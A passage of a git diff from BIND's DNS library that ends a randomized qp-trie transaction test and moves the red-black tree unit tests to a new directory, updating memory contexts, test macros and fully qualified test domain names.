+		do {
+			size_t len = isc_random_uniform(16) + 4;
+			item[i].len = len;
+			for (size_t off = 0; off < len; off++) {
+				item[i].key[off] = random_byte();
+			}
+			memmove(item[i].ascii, item[i].key, len);
+			qp_test_keytoascii(item[i].ascii, len);
+		} while (dns_qp_getkey(qp, item[i].key, item[i].len, &pval,
+				       NULL) == ISC_R_SUCCESS);
+		assert_int_equal(dns_qp_insert(qp, &item[i], i), ISC_R_SUCCESS);
+	}
+	dns_qp_destroy(&qp);
+}
+
+static bool
+checkkey(dns_qpreadable_t qpr, size_t i, bool exists, const char *rubric) {
+	bool ok = true;
+	void *pval = NULL;
+	uint32_t ival = ~0U;
+	isc_result_t result;
+	result = dns_qp_getkey(qpr, item[i].key, item[i].len, &pval, &ival);
+	if (result == ISC_R_SUCCESS) {
+		assert_true(exists);
+		assert_ptr_equal(pval, &item[i]);
+		assert_int_equal(ival, i);
+	} else if (result == ISC_R_NOTFOUND) {
+		assert_false(exists);
+		assert_null(pval);
+		assert_int_equal(ival, ~0U);
+	} else {
+		UNREACHABLE();
+	}
+	if (!ok) {
+		TRACE("checkkey %p %zu %s %s %s", qpr.qpr, i,
+		      exists ? "exists" : "missing", isc_result_totext(result),
+		      rubric);
+		UNUSED(rubric);
+	}
+	return (ok);
+}
+
+static bool
+checkallro(dns_qpreadable_t qp) {
+	bool ok = true;
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+		ASSERT(checkkey(qp, i, item[i].in_ro, "checkall ro"));
+	}
+	if (!ok) {
+		qp_test_dumptrie(qp);
+		TRACE("checkallro failed");
+	}
+	return (ok);
+}
+
+static bool
+checkallrw(dns_qpreadable_t qp) {
+	bool ok = true;
+	for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+		ASSERT(checkkey(qp, i, item[i].in_rw, "checkall rw"));
+	}
+	if (!ok) {
+		qp_test_dumptrie(qp);
+		TRACE("checkallrw failed");
+	}
+	return (ok);
+}
+
+static void
+one_transaction(dns_qpmulti_t *qpm) {
+	isc_result_t result;
+	bool ok = true;
+
+	dns_qpreader_t *qpo = NULL;
+	dns_qpsnap_t *qps = NULL;
+	dns_qpread_t qpr = { 0 };
+	dns_qp_t *qpw = NULL;
+
+	bool snap = isc_random_uniform(2) == 0;
+	bool update = isc_random_uniform(2) != 0;
+	bool rollback = update && isc_random_uniform(4) == 0;
+	size_t count = isc_random_uniform(TRANSACTION_SIZE);
+
+	TRACE("transaction %s %s %s size %zu", snap ? "snapshot" : "query",
+	      update ? "update" : "write", rollback ? "rollback" : "commit",
+	      count);
+
+	/*
+	 * We need to take care to avoid lock order inversion:
+	 * The write mutex must be the outermost lock if it is held.
+	 * The mutex must not be taken while the rwlock is held.
+	 */
+
+	/* briefly take and drop mutex */
+	if (snap) {
+		dns_qpmulti_snapshot(qpm, &qps);
+		qpo = (dns_qpreader_t *)qps;
+	}
+
+	/* take mutex */
+	if (update) {
+		dns_qpmulti_update(qpm, &qpw);
+	} else {
+		dns_qpmulti_write(qpm, &qpw);
+	}
+
+	if (!snap) {
+		dns_qpmulti_query(qpm, &qpr);
+		qpo = (dns_qpreader_t *)&qpr;
+	}
+
+	for (size_t n = 0; n < count; n++) {
+		size_t i = isc_random_uniform(ARRAY_SIZE(item));
+
+		ASSERT(checkkey(qpo, i, item[i].in_ro, "before ro"));
+		ASSERT(checkkey(qpw, i, item[i].in_rw, "before rw"));
+
+		if (item[i].in_rw) {
+			/* TRACE("delete %zu %.*s", i,
+				 item[i].len, item[i].ascii); */
+			void *pvald = NULL;
+			uint32_t ivald = 0;
+			result = dns_qp_deletekey(qpw, item[i].key, item[i].len,
+						  &pvald, &ivald);
+			ASSERT(result == ISC_R_SUCCESS);
+			ASSERT(pvald == &item[i]);
+			ASSERT(ivald == i);
+			item[i].in_rw = false;
+		} else {
+			/* TRACE("insert %zu %.*s", i,
+				 item[i].len, item[i].ascii); */
+			result = dns_qp_insert(qpw, &item[i], i);
+			ASSERT(result == ISC_R_SUCCESS);
+			item[i].in_rw = true;
+		}
+
+		ASSERT(checkkey(qpo, i, item[i].in_ro, "after ro"));
+		ASSERT(checkkey(qpw, i, item[i].in_rw, "after rw"));
+
+		if (!ok) {
+			TRACE("mutate %zu/%zu failed", n, count);
+			qp_test_dumptrie(qpo);
+			qp_test_dumptrie(qpw);
+		}
+		assert_true(ok);
+	}
+
+	assert_true(checkallro(qpo));
+	assert_true(checkallrw(qpw));
+
+	if (!snap) {
+		dns_qpread_destroy(qpm, &qpr);
+	}
+
+	if (rollback) {
+		TRACE("transaction rollback");
+		dns_qpmulti_rollback(qpm, &qpw);
+		/* mutex is now dropped */
+		dns_qpmulti_query(qpm, &qpr);
+		for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+			if (snap) {
+				ASSERT(checkkey(qps, i, item[i].in_ro,
+						"rollback ro"));
+			}
+			item[i].in_rw = item[i].in_ro;
+			ASSERT(checkkey(&qpr, i, item[i].in_rw, "rollback rw"));
+		}
+		dns_qpread_destroy(qpm, &qpr);
+	} else {
+		TRACE("transaction commit");
+		dns_qpmulti_commit(qpm, &qpw);
+		/* mutex is now dropped */
+		dns_qpmulti_query(qpm, &qpr);
+		for (size_t i = 0; i < ARRAY_SIZE(item); i++) {
+			if (snap) {
+				ASSERT(checkkey(qps, i, item[i].in_ro,
+						"commit ro"));
+			}
+			item[i].in_ro = item[i].in_rw;
+			ASSERT(checkkey(&qpr, i, item[i].in_rw, "commit rw"));
+		}
+		dns_qpread_destroy(qpm, &qpr);
+	}
+
+	if (snap) {
+		TRACE("snapshot destroy");
+		/* takes mutex briefly */
+		dns_qpsnap_destroy(qpm, &qps);
+	}
+
+	TRACE("completed %s %s %s size %zu", snap ? "snapshot" : "query",
+	      update ? "update" : "write", rollback ? "rollback" : "commit",
+	      count);
+
+	if (!ok) {
+		TRACE("transaction failed");
+		dns_qpmulti_query(qpm, &qpr);
+		qp_test_dumptrie(&qpr);
+		dns_qpread_destroy(qpm, &qpr);
+	}
+	assert_true(ok);
+}
+
+static void
+many_transactions(void *arg) {
+	UNUSED(arg);
+
+	dns_qpmulti_t *qpm = NULL;
+	dns_qpmulti_create(mctx, &test_methods, NULL, &qpm);
+	qpm->writer.write_protect = true;
+
+	for (size_t n = 0; n < TRANSACTION_COUNT; n++) {
+		TRACE("transaction %zu", n);
+		one_transaction(qpm);
+		rcu_quiescent_state();
+	}
+
+	dns_qpmulti_destroy(&qpm);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_RUN_TEST_IMPL(qpmulti) {
+	setup_loopmgr(NULL);
+	setup_logging();
+	setup_items();
+	isc_loop_setup(isc_loop_main(loopmgr), many_transactions, NULL);
+	isc_loopmgr_run(loopmgr);
+	rcu_barrier();
+	isc_loopmgr_destroy(&loopmgr);
+	isc_log_destroy(&dns_lctx);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(qpmulti)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/dns/tests/rbt_test.c b/tests/dns/rbt_test.c
similarity index 82%
rename from lib/dns/tests/rbt_test.c
rename to tests/dns/rbt_test.c
index 08276827b7..f3c10e5cc4 100644
--- a/lib/dns/tests/rbt_test.c
+++ b/tests/dns/rbt_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
 #include <ctype.h>
 #include <fcntl.h>
 #include <inttypes.h>
@@ -27,18 +27,15 @@
 #define UNIT_TESTING
 #include <cmocka.h>
 
-#include <isc/app.h>
 #include <isc/buffer.h>
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
 #include <isc/os.h>
-#include <isc/print.h>
 #include <isc/random.h>
-#include <isc/socket.h>
+#include <isc/result.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/thread.h>
 #include <isc/time.h>
 #include <isc/timer.h>
@@ -49,11 +46,10 @@
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/rbt.h>
-#include <dns/result.h>
 
 #include <dst/dst.h>
 
-#include "dnstest.h"
+#include <tests/dns.h>
 
 typedef struct {
 	dns_rbt_t *rbt;
@@ -83,9 +79,9 @@ typedef struct {
  * contains "." which is not included in this list).
  */
 static const char *const domain_names[] = {
-	"c",	     "b",	    "a",	   "x.d.e.f",
-	"z.d.e.f",   "g.h",	    "i.g.h",	   "o.w.y.d.e.f",
-	"j.z.d.e.f", "p.w.y.d.e.f", "q.w.y.d.e.f", "k.g.h"
+	"c.",	      "b.",	      "a.",	      "x.d.e.f.",
+	"z.d.e.f.",   "g.h.",	      "i.g.h.",	      "o.w.y.d.e.f.",
+	"j.z.d.e.f.", "p.w.y.d.e.f.", "q.w.y.d.e.f.", "k.g.h."
 };
 
 static const size_t domain_names_count =
@@ -118,39 +114,20 @@ static const int node_distances[] = { 3, 1, 2, 2, 2, 3, 1, 2, 1, 1, 2, 2 };
  */
 
 static const char *const ordered_names[] = {
-	"a",	     "b",	    "c",	   "d.e.f",	  "x.d.e.f",
-	"w.y.d.e.f", "o.w.y.d.e.f", "p.w.y.d.e.f", "q.w.y.d.e.f", "z.d.e.f",
-	"j.z.d.e.f", "g.h",	    "i.g.h",	   "k.g.h"
+	"a.",		"b.",	      "c.",	      "d.e.f.",
+	"x.d.e.f.",	"w.y.d.e.f.", "o.w.y.d.e.f.", "p.w.y.d.e.f.",
+	"q.w.y.d.e.f.", "z.d.e.f.",   "j.z.d.e.f.",   "g.h.",
+	"i.g.h.",	"k.g.h."
 };
 
 static const size_t ordered_names_count =
 	(sizeof(ordered_names) / sizeof(*ordered_names));
 
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = dns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	dns_test_end();
-
-	return (0);
-}
 static void
 delete_data(void *data, void *arg) {
 	UNUSED(arg);
 
-	isc_mem_put(dt_mctx, data, sizeof(size_t));
+	isc_mem_put(mctx, data, sizeof(size_t));
 }
 
 static test_context_t *
@@ -159,16 +136,15 @@ test_context_setup(void) {
 	isc_result_t result;
 	size_t i;
 
-	ctx = isc_mem_get(dt_mctx, sizeof(*ctx));
+	ctx = isc_mem_get(mctx, sizeof(*ctx));
 	assert_non_null(ctx);
 
 	ctx->rbt = NULL;
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &ctx->rbt);
+	result = dns_rbt_create(mctx, delete_data, NULL, &ctx->rbt);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	ctx->rbt_distances = NULL;
-	result = dns_rbt_create(dt_mctx, delete_data, NULL,
-				&ctx->rbt_distances);
+	result = dns_rbt_create(mctx, delete_data, NULL, &ctx->rbt_distances);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	for (i = 0; i < domain_names_count; i++) {
@@ -180,13 +156,13 @@ test_context_setup(void) {
 
 		name = dns_fixedname_name(&fname);
 
-		n = isc_mem_get(dt_mctx, sizeof(size_t));
+		n = isc_mem_get(mctx, sizeof(size_t));
 		assert_non_null(n);
 		*n = i + 1;
 		result = dns_rbt_addname(ctx->rbt, name, n);
 		assert_int_equal(result, ISC_R_SUCCESS);
 
-		n = isc_mem_get(dt_mctx, sizeof(size_t));
+		n = isc_mem_get(mctx, sizeof(size_t));
 		assert_non_null(n);
 		*n = node_distances[i];
 		result = dns_rbt_addname(ctx->rbt_distances, name, n);
@@ -201,7 +177,7 @@ test_context_teardown(test_context_t *ctx) {
 	dns_rbt_destroy(&ctx->rbt);
 	dns_rbt_destroy(&ctx->rbt_distances);
 
-	isc_mem_put(dt_mctx, ctx, sizeof(*ctx));
+	isc_mem_put(mctx, ctx, sizeof(*ctx));
 }
 
 /*
@@ -232,13 +208,10 @@ check_test_data(dns_rbt_t *rbt) {
 }
 
 /* Test the creation of an rbt */
-static void
-rbt_create(void **state) {
+ISC_RUN_TEST_IMPL(rbt_create) {
 	test_context_t *ctx;
 	bool tree_ok;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
@@ -252,12 +225,9 @@ rbt_create(void **state) {
 }
 
 /* Test dns_rbt_nodecount() on a tree */
-static void
-rbt_nodecount(void **state) {
+ISC_RUN_TEST_IMPL(rbt_nodecount) {
 	test_context_t *ctx;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
@@ -268,18 +238,15 @@ rbt_nodecount(void **state) {
 }
 
 /* Test dns_rbtnode_get_distance() on a tree */
-static void
-rbtnode_get_distance(void **state) {
+ISC_RUN_TEST_IMPL(rbtnode_get_distance) {
 	isc_result_t result;
 	test_context_t *ctx;
-	const char *name_str = "a";
+	const char *name_str = "a.";
 	dns_fixedname_t fname;
 	dns_name_t *name;
 	dns_rbtnode_t *node = NULL;
 	dns_rbtnodechain_t chain;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
@@ -321,19 +288,16 @@ rbtnode_get_distance(void **state) {
  * path from a sub-tree's root to a node is no more than
  * 2log(n). This check verifies that the tree is balanced.
  */
-static void
-rbt_check_distance_random(void **state) {
+ISC_RUN_TEST_IMPL(rbt_check_distance_random) {
 	dns_rbt_t *mytree = NULL;
 	const unsigned int log_num_nodes = 16;
 	isc_result_t result;
 	bool tree_ok;
 	int i;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &mytree);
+	result = dns_rbt_create(mctx, delete_data, NULL, &mytree);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Names are inserted in random order. */
@@ -350,7 +314,7 @@ rbt_check_distance_random(void **state) {
 		size_t *n;
 		char namebuf[34];
 
-		n = isc_mem_get(dt_mctx, sizeof(size_t));
+		n = isc_mem_get(mctx, sizeof(size_t));
 		assert_non_null(n);
 		*n = i + 1;
 
@@ -399,19 +363,16 @@ rbt_check_distance_random(void **state) {
  * path from a sub-tree's root to a node is no more than
  * 2log(n). This check verifies that the tree is balanced.
  */
-static void
-rbt_check_distance_ordered(void **state) {
+ISC_RUN_TEST_IMPL(rbt_check_distance_ordered) {
 	dns_rbt_t *mytree = NULL;
 	const unsigned int log_num_nodes = 16;
 	isc_result_t result;
 	bool tree_ok;
 	int i;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &mytree);
+	result = dns_rbt_create(mctx, delete_data, NULL, &mytree);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Names are inserted in sorted order. */
@@ -430,7 +391,7 @@ rbt_check_distance_ordered(void **state) {
 		dns_fixedname_t fname;
 		dns_name_t *name;
 
-		n = isc_mem_get(dt_mctx, sizeof(size_t));
+		n = isc_mem_get(mctx, sizeof(size_t));
 		assert_non_null(n);
 		*n = i + 1;
 
@@ -478,25 +439,22 @@ compare_labelsequences(dns_rbtnode_t *node, const char *labelstr) {
 	dns_name_init(&name, NULL);
 	dns_rbt_namefromnode(node, &name);
 
-	result = dns_name_tostring(&name, &nodestr, dt_mctx);
+	result = dns_name_tostring(&name, &nodestr, mctx);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	is_equal = strcmp(labelstr, nodestr) == 0 ? true : false;
 
-	isc_mem_free(dt_mctx, nodestr);
+	isc_mem_free(mctx, nodestr);
 
 	return (is_equal);
 }
 
 /* Test insertion into a tree */
-static void
-rbt_insert(void **state) {
+ISC_RUN_TEST_IMPL(rbt_insert) {
 	isc_result_t result;
 	test_context_t *ctx;
 	dns_rbtnode_t *node;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
@@ -506,7 +464,7 @@ rbt_insert(void **state) {
 
 	/* Try to insert a node that already exists. */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "d.e.f", &node);
+	result = insert_helper(ctx->rbt, "d.e.f.", &node);
 	assert_int_equal(result, ISC_R_EXISTS);
 
 	/* Node count must not have changed. */
@@ -514,7 +472,7 @@ rbt_insert(void **state) {
 
 	/* Try to insert a node that doesn't exist. */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "0", &node);
+	result = insert_helper(ctx->rbt, "0.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "0"));
 
@@ -523,7 +481,7 @@ rbt_insert(void **state) {
 
 	/* Another. */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "example.com", &node);
+	result = insert_helper(ctx->rbt, "example.com.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_non_null(node);
 	assert_null(node->data);
@@ -533,7 +491,7 @@ rbt_insert(void **state) {
 
 	/* Re-adding it should return EXISTS */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "example.com", &node);
+	result = insert_helper(ctx->rbt, "example.com.", &node);
 	assert_int_equal(result, ISC_R_EXISTS);
 
 	/* Node count must not have changed. */
@@ -541,7 +499,7 @@ rbt_insert(void **state) {
 
 	/* Fission the node d.e.f */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "k.e.f", &node);
+	result = insert_helper(ctx->rbt, "k.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "k"));
 
@@ -552,7 +510,7 @@ rbt_insert(void **state) {
 
 	/* Fission the node "g.h" */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "h", &node);
+	result = insert_helper(ctx->rbt, "h.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "h"));
 
@@ -564,80 +522,80 @@ rbt_insert(void **state) {
 	/* Add child domains */
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "m.p.w.y.d.e.f", &node);
+	result = insert_helper(ctx->rbt, "m.p.w.y.d.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "m"));
 	assert_int_equal(21, dns_rbt_nodecount(ctx->rbt));
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "n.p.w.y.d.e.f", &node);
+	result = insert_helper(ctx->rbt, "n.p.w.y.d.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "n"));
 	assert_int_equal(22, dns_rbt_nodecount(ctx->rbt));
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "l.a", &node);
+	result = insert_helper(ctx->rbt, "l.a.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_true(compare_labelsequences(node, "l"));
 	assert_int_equal(23, dns_rbt_nodecount(ctx->rbt));
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "r.d.e.f", &node);
+	result = insert_helper(ctx->rbt, "r.d.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	node = NULL;
-	result = insert_helper(ctx->rbt, "s.d.e.f", &node);
+	result = insert_helper(ctx->rbt, "s.d.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 	assert_int_equal(25, dns_rbt_nodecount(ctx->rbt));
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "h.w.y.d.e.f", &node);
+	result = insert_helper(ctx->rbt, "h.w.y.d.e.f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Add more nodes one by one to cover left and right rotation
 	 * functions.
 	 */
 	node = NULL;
-	result = insert_helper(ctx->rbt, "f", &node);
+	result = insert_helper(ctx->rbt, "f.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "m", &node);
+	result = insert_helper(ctx->rbt, "m.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "nm", &node);
+	result = insert_helper(ctx->rbt, "nm.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "om", &node);
+	result = insert_helper(ctx->rbt, "om.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "k", &node);
+	result = insert_helper(ctx->rbt, "k.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "l", &node);
+	result = insert_helper(ctx->rbt, "l.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "fe", &node);
+	result = insert_helper(ctx->rbt, "fe.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "ge", &node);
+	result = insert_helper(ctx->rbt, "ge.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "i", &node);
+	result = insert_helper(ctx->rbt, "i.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "ae", &node);
+	result = insert_helper(ctx->rbt, "ae.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	node = NULL;
-	result = insert_helper(ctx->rbt, "n", &node);
+	result = insert_helper(ctx->rbt, "n.", &node);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	test_context_teardown(ctx);
@@ -652,13 +610,10 @@ rbt_insert(void **state) {
  * as a red-black tree. This test checks node deletion when upper nodes
  * have data.
  */
-static void
-rbt_remove(void **state) {
+ISC_RUN_TEST_IMPL(rbt_remove) {
 	isc_result_t result;
 	size_t j;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	/*
@@ -674,7 +629,7 @@ rbt_remove(void **state) {
 		size_t start_node;
 
 		/* Create a tree. */
-		result = dns_rbt_create(dt_mctx, delete_data, NULL, &mytree);
+		result = dns_rbt_create(mctx, delete_data, NULL, &mytree);
 		assert_int_equal(result, ISC_R_SUCCESS);
 
 		/* Insert test data into the tree. */
@@ -702,7 +657,7 @@ rbt_remove(void **state) {
 			assert_non_null(node);
 			assert_null(node->data);
 
-			n = isc_mem_get(dt_mctx, sizeof(size_t));
+			n = isc_mem_get(mctx, sizeof(size_t));
 			assert_non_null(n);
 			*n = i;
 
@@ -842,7 +797,7 @@ insert_nodes(dns_rbt_t *mytree, char **names, size_t *names_count,
 		size_t *n;
 		char namebuf[34];
 
-		n = isc_mem_get(dt_mctx, sizeof(size_t));
+		n = isc_mem_get(mctx, sizeof(size_t));
 		assert_non_null(n);
 
 		*n = i; /* Unused value */
@@ -867,7 +822,7 @@ insert_nodes(dns_rbt_t *mytree, char **names, size_t *names_count,
 			result = dns_rbt_addnode(mytree, name, &node);
 			if (result == ISC_R_SUCCESS) {
 				node->data = n;
-				names[*names_count] = isc_mem_strdup(dt_mctx,
+				names[*names_count] = isc_mem_strdup(mctx,
 								     namebuf);
 				assert_non_null(names[*names_count]);
 				*names_count += 1;
@@ -898,7 +853,7 @@ remove_nodes(dns_rbt_t *mytree, char **names, size_t *names_count,
 		result = dns_rbt_deletename(mytree, name, false);
 		assert_int_equal(result, ISC_R_SUCCESS);
 
-		isc_mem_free(dt_mctx, names[node]);
+		isc_mem_free(mctx, names[node]);
 		if (*names_count > 0) {
 			names[node] = names[*names_count - 1];
 			names[*names_count - 1] = NULL;
@@ -943,8 +898,7 @@ check_tree(dns_rbt_t *mytree, char **names, size_t names_count) {
  * forest. The number of nodes in the tree level doesn't grow
  * over 1024.
  */
-static void
-rbt_insert_and_remove(void **state) {
+ISC_RUN_TEST_IMPL(rbt_insert_and_remove) {
 	isc_result_t result;
 	dns_rbt_t *mytree = NULL;
 	size_t *n;
@@ -952,14 +906,12 @@ rbt_insert_and_remove(void **state) {
 	size_t names_count;
 	int i;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
-	result = dns_rbt_create(dt_mctx, delete_data, NULL, &mytree);
+	result = dns_rbt_create(mctx, delete_data, NULL, &mytree);
 	assert_int_equal(result, ISC_R_SUCCESS);
 
-	n = isc_mem_get(dt_mctx, sizeof(size_t));
+	n = isc_mem_get(mctx, sizeof(size_t));
 	assert_non_null(n);
 	result = dns_rbt_addname(mytree, dns_rootname, n);
 	assert_int_equal(result, ISC_R_SUCCESS);
@@ -998,7 +950,7 @@ rbt_insert_and_remove(void **state) {
 
 	for (i = 0; i < 1024; i++) {
 		if (names[i] != NULL) {
-			isc_mem_free(dt_mctx, names[i]);
+			isc_mem_free(mctx, names[i]);
 		}
 	}
 
@@ -1010,22 +962,19 @@ rbt_insert_and_remove(void **state) {
 }
 
 /* Test findname return values */
-static void
-rbt_findname(void **state) {
+ISC_RUN_TEST_IMPL(rbt_findname) {
 	isc_result_t result;
 	test_context_t *ctx = NULL;
 	dns_fixedname_t fname, found;
 	dns_name_t *name = NULL, *foundname = NULL;
 	size_t *n = NULL;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
 
 	/* Try to find a name that exists. */
-	dns_test_namefromstring("d.e.f", &fname);
+	dns_test_namefromstring("d.e.f.", &fname);
 	name = dns_fixedname_name(&fname);
 
 	foundname = dns_fixedname_initname(&found);
@@ -1040,14 +989,14 @@ rbt_findname(void **state) {
 	assert_int_equal(result, ISC_R_NOTFOUND);
 
 	/* Now one that partially matches */
-	dns_test_namefromstring("d.e.f.g.h.i.j", &fname);
+	dns_test_namefromstring("d.e.f.g.h.i.j.", &fname);
 	name = dns_fixedname_name(&fname);
 	result = dns_rbt_findname(ctx->rbt, name, DNS_RBTFIND_EMPTYDATA,
 				  foundname, (void *)&n);
 	assert_int_equal(result, DNS_R_PARTIALMATCH);
 
 	/* Now one that doesn't match */
-	dns_test_namefromstring("1.2", &fname);
+	dns_test_namefromstring("1.2.", &fname);
 	name = dns_fixedname_name(&fname);
 	result = dns_rbt_findname(ctx->rbt, name, DNS_RBTFIND_EMPTYDATA,
 				  foundname, (void *)&n);
@@ -1058,25 +1007,22 @@ rbt_findname(void **state) {
 }
 
 /* Test addname return values */
-static void
-rbt_addname(void **state) {
+ISC_RUN_TEST_IMPL(rbt_addname) {
 	isc_result_t result;
 	test_context_t *ctx = NULL;
 	dns_fixedname_t fname;
 	dns_name_t *name = NULL;
 	size_t *n;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
 
-	n = isc_mem_get(dt_mctx, sizeof(size_t));
+	n = isc_mem_get(mctx, sizeof(size_t));
 	assert_non_null(n);
 	*n = 1;
 
-	dns_test_namefromstring("d.e.f.g.h.i.j.k", &fname);
+	dns_test_namefromstring("d.e.f.g.h.i.j.k.", &fname);
 	name = dns_fixedname_name(&fname);
 
 	/* Add a name that doesn't exist */
@@ -1084,38 +1030,35 @@ rbt_addname(void **state) {
 	assert_int_equal(result, ISC_R_SUCCESS);
 
 	/* Now add again, should get ISC_R_EXISTS */
-	n = isc_mem_get(dt_mctx, sizeof(size_t));
+	n = isc_mem_get(mctx, sizeof(size_t));
 	assert_non_null(n);
 	*n = 2;
 	result = dns_rbt_addname(ctx->rbt, name, n);
 	assert_int_equal(result, ISC_R_EXISTS);
-	isc_mem_put(dt_mctx, n, sizeof(size_t));
+	isc_mem_put(mctx, n, sizeof(size_t));
 
 	test_context_teardown(ctx);
 }
 
 /* Test deletename return values */
-static void
-rbt_deletename(void **state) {
+ISC_RUN_TEST_IMPL(rbt_deletename) {
 	isc_result_t result;
 	test_context_t *ctx = NULL;
 	dns_fixedname_t fname;
 	dns_name_t *name = NULL;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
 
 	/* Delete a name that doesn't exist */
-	dns_test_namefromstring("z.x.y.w", &fname);
+	dns_test_namefromstring("z.x.y.w.", &fname);
 	name = dns_fixedname_name(&fname);
 	result = dns_rbt_deletename(ctx->rbt, name, false);
 	assert_int_equal(result, ISC_R_NOTFOUND);
 
 	/* Now one that does */
-	dns_test_namefromstring("d.e.f", &fname);
+	dns_test_namefromstring("d.e.f.", &fname);
 	name = dns_fixedname_name(&fname);
 	result = dns_rbt_deletename(ctx->rbt, name, false);
 	assert_int_equal(result, ISC_R_NOTFOUND);
@@ -1124,8 +1067,7 @@ rbt_deletename(void **state) {
 }
 
 /* Test nodechain */
-static void
-rbt_nodechain(void **state) {
+ISC_RUN_TEST_IMPL(rbt_nodechain) {
 	isc_result_t result;
 	test_context_t *ctx;
 	dns_fixedname_t fname, found, expect;
@@ -1133,15 +1075,13 @@ rbt_nodechain(void **state) {
 	dns_rbtnode_t *node = NULL;
 	dns_rbtnodechain_t chain;
 
-	UNUSED(state);
-
 	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
 
 	ctx = test_context_setup();
 
 	dns_rbtnodechain_init(&chain);
 
-	dns_test_namefromstring("a", &fname);
+	dns_test_namefromstring("a.", &fname);
 	name = dns_fixedname_name(&fname);
 
